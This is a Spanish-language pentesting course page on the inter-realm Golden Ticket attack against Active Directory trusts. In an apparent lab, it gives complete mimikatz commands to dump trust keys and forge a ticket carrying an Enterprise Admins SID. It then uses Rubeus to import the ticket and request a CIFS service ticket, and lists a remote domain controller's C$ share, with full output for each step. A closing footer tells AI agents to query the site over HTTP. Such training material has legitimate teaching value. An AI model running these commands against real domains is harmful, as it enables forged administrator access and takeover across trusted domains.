# Golden Ticket Inter-realm TGT

Un Golden Ticket Inter-realm TGT es un TGT falsificado que se usa para acceder a recursos en un dominio de AD diferente al del atacante, aprovechando una relación de confianza entre dominios. El ataque implica los siguientes pasos:

1. <mark style="color:red;">**Compromiso del Dominio de Origen**</mark><mark style="color:red;">:</mark> El atacante debe tener control sobre el dominio de origen, específicamente acceso a la cuenta krbtgt, que es fundamental para la emisión de TGTs en Kerberos.
2. <mark style="color:red;">**Creación de un Golden Ticket**</mark><mark style="color:red;">:</mark> Utilizando herramientas como Mimikatz, el atacante crea un Golden Ticket. Este ticket es esencialmente una representación autenticada de un usuario (generalmente con privilegios elevados) en el dominio de origen.
3. <mark style="color:red;">**Inter-realm TGT**</mark><mark style="color:red;">:</mark> A diferencia de un Golden Ticket estándar que solo funciona dentro de un dominio, el Inter-realm TGT se crea para ser utilizado en un dominio de destino confiable. El atacante necesita conocer el SID (Security Identifier) del dominio de destino y posiblemente otros detalles para crear un TGT válido en el contexto del dominio de destino.
4. <mark style="color:red;">**Acceso a Recursos en el Dominio de Destino**</mark><mark style="color:red;">:</mark> Con el Golden Ticket Inter-realm, el atacante puede acceder a recursos y servicios en el dominio de destino, como si fuera un usuario autenticado y autorizado en ese dominio.

Consideremos un escenario donde un atacante ha comprometido el dominio `SPARTANCYBERSEC.CORP` y desea acceder al dominio confiable `VIKINGSCYBERSEC.CORP`. A continuación, se detalla el proceso utilizando `mimikatz` y `Rubeus`, herramientas comúnmente utilizadas en pentesting de Active Directory.

<mark style="color:red;">**Extracción de la Clave Secreta del Dominio**</mark><mark style="color:red;">:</mark> Primero, el atacante utiliza `mimikatz` para extraer las claves secretas (hashes) de la cuenta krbtgt del dominio objetivo. El comando `lsadump::trust /patch` revela la información necesaria, incluyendo los hashes de diferentes algoritmos de cifrado como AES y RC4.

```bash
mimikatz # lsadump::trust /patch
Current domain: SPARTANCYBERSEC.CORP (SPARTANCYBERSEC / S-1-5-21-1861162130-2580302541-221646211)
Domain: VIKINGSCYBERSEC.CORP (VIKINGSCYBERSEC / S-1-5-21-3191546187-884582097-4033286759)
 [  In ] SPARTANCYBERSEC.CORP -> VIKINGSCYBERSEC.CORP
    * 11/7/2023 1:14:48 AM - CLEAR   - 43 73 ea 53 e6 d1 16 58 0d ba 22 b7 3e b4 3f da c8 7a a2 60 bc 7d e8 2f 36 da 02 58 bf 89 0d ec b2 15 e3 9e 04 be 96 9f 2d e3 00 13 0f 1c 50 16 e9 db bd 8f 61 0f 3a 69 cd df 66 09 3d e3 b7 8c cb db 47 09 e0 8b 00 4d 1e 58 6a 88 15 66 ba 12 6a e0 e1 77 8f 1e 49 53 3f 6c 7b d0 56 8a 3e b9 60 79 58 d2 4d 47 f3 e3 7a 7f 41 b3 7f d7 cc fd 26 16 47 c5 76 f6 5d 61 10 58 c3 29 5d ae 46 a5 93 98 f0 c0 b5 81 5d 72 5e b0 f4 49 15 e1 57 be c1 f2 0f 71 07 4b 31 b1 cb 28 75 70 b0 a4 6d 37 e0 9d 68 19 b3 3c 9b 7c 76 b3 ad 5c b8 62 da 2f 90 e6 50 37 df 07 3a 62 28 6e ba c6 12 72 3b 69 d4 44 d2 8d 9c 64 f0 19 40 1d fb eb 7c 9a d5 33 1f 72 bf bb 0f 77 48 0b ba 7f 96 47 0d 54 9e d9 46 d4 ab e6 86 83 52 84 8a e4 87 fc 31 c3 df de
        * aes256_hmac       47cc817e5fe18de708f9de4b331dfba5df658691752ddd8ae10bb3d4264fd9ad
        * aes128_hmac       648410cef621e5f0c05336786a3290ca
        * rc4_hmac_nt       a9e60b71ecaab835b49ec6a56ca99af5
```

<mark style="color:red;">**Creación del Golden Ticket**</mark><mark style="color:red;">:</mark> Utilizando la clave secreta extraída (RC4\_HMAC hash) y el SID del dominio `SPARTANCYBERSEC.CORP`, el atacante crea un Golden Ticket para el dominio `VIKINGSCYBERSEC.CORP`. Este tique le otorga al atacante los mismos privilegios que tendría un administrador del dominio.

{% code overflow="wrap" %}

```bash
mimikatz # kerberos::golden /domain:spartancybersec.corp /sid:S-1-5-21-1861162130-2580302541-221646211 /sids:S-1-5-21-3191546187-884582097-4033286759-519 /rc4:a9e60b71ecaab835b49ec6a56ca99af5 /user:Administrator /service:krbtgt /target:vikingscybersec.corp /ticket:ticketpremium.kirbi
User      : Administrator
Domain    : spartancybersec.corp (SPARTANCYBERSEC)
SID       : S-1-5-21-1861162130-2580302541-221646211
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3191546187-884582097-4033286759-519 ;
ServiceKey: a9e60b71ecaab835b49ec6a56ca99af5 - rc4_hmac_nt
Service   : krbtgt
Target    : vikingscybersec.corp
Lifetime  : 11/24/2023 4:26:16 AM ; 11/21/2033 4:26:16 AM ; 11/21/2033 4:26:16 AM
-> Ticket : ticketpremium.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz # exit
Bye!
```

{% endcode %}

<mark style="color:red;">**Importación y Uso del Tique**</mark><mark style="color:red;">:</mark> A través de `Rubeus`, una herramienta complementaria a `mimikatz` para operaciones con tiques Kerberos, el atacante importa el Golden Ticket y solicita un tique de servicio (TGS) para el recurso deseado en el dominio `VIKINGSCYBERSEC.CORP`.

{% code overflow="wrap" %}

```powershell
PS C:\Users\Public\CPAD\CPAD-TOOLS> .\Rubeus.exe asktgs /ticket:ticketpremium.kirbi /service:CIFS/second-dc.vikingscybersec.corp /dc:second-dc.vikingscybersec.corp /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/second-dc.vikingscybersec.corp'
[*] Using domain controller: second-dc.vikingscybersec.corp (10.0.2.100)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIE7zCCBOugAwIBBaEDAgEWooIDzDCCA8hhggPEMIIDwKADAgEFoRYbFFZJS0lOR1NDWUJFUlNFQy5DlCRVJTRUMuQ09SUKkxMC+gAwIBAqEoMCYbBENJRlMbHnNlY29uZC1kYy52aWtpbmdzY3liZXJzZWMuY29ycA==

  ServiceName              :  CIFS/second-dc.vikingscybersec.corp
  ServiceRealm             :  VIKINGSCYBERSEC.CORP
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  spartancybersec.corp
  StartTime                :  11/24/2023 4:26:23 AM
  EndTime                  :  11/24/2023 2:26:23 PM
  RenewTill                :  12/1/2023 4:26:23 AM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  gudsaHfe+qa4JArQUynDy72mmNM4Yqf94vCqbBBIipo=
```

{% endcode %}

Despues de lo anterior, tendriamos un ticket que puede ser revisado con:

```powershell
PS C:\Users\Public\CPAD\CPAD-TOOLS> klist
Current LogonId is 0:0x355e7
Cached Tickets: (1)

#0>     Client: Administrator @ spartancybersec.corp
        Server: CIFS/second-dc.vikingscybersec.corp @ VIKINGSCYBERSEC.CORP
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 11/24/2023 4:26:23 (local)
        End Time:   11/24/2023 14:26:23 (local)
        Renew Time: 12/1/2023 4:26:23 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
```

<mark style="color:red;">**Acceso a Recursos**</mark><mark style="color:red;">:</mark> Una vez obtenido el TGS, el atacante puede acceder a recursos específicos en el dominio objetivo, en este caso, visualizando los directorios compartidos en `\\second-dc.vikingscybersec.corp\c$`.

Por lo anterior, se procede a ejecutar el siguiente comando:

```powershell
PS C:\Users\Public\CPAD\CPAD-TOOLS> dir \\second-dc.vikingscybersec.corp\c$\

    Directory: \\second-dc.vikingscybersec.corp\c$
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/14/2018   6:56 AM                EFI
d-----       11/21/2023   1:14 AM                NTDS
d-----        5/13/2020   5:58 PM                PerfLogs
d-r---        9/19/2022  11:23 PM                Program Files
d-----        9/19/2022  11:42 PM                Program Files (x86)
d-r---        11/7/2023   1:09 AM                Users
d-----        9/19/2022  11:32 PM                Windows
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/persistencia-y-post-explotacion-en-ad/golden-ticket/variantes-del-golden-ticket/golden-ticket-inter-realm-tgt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
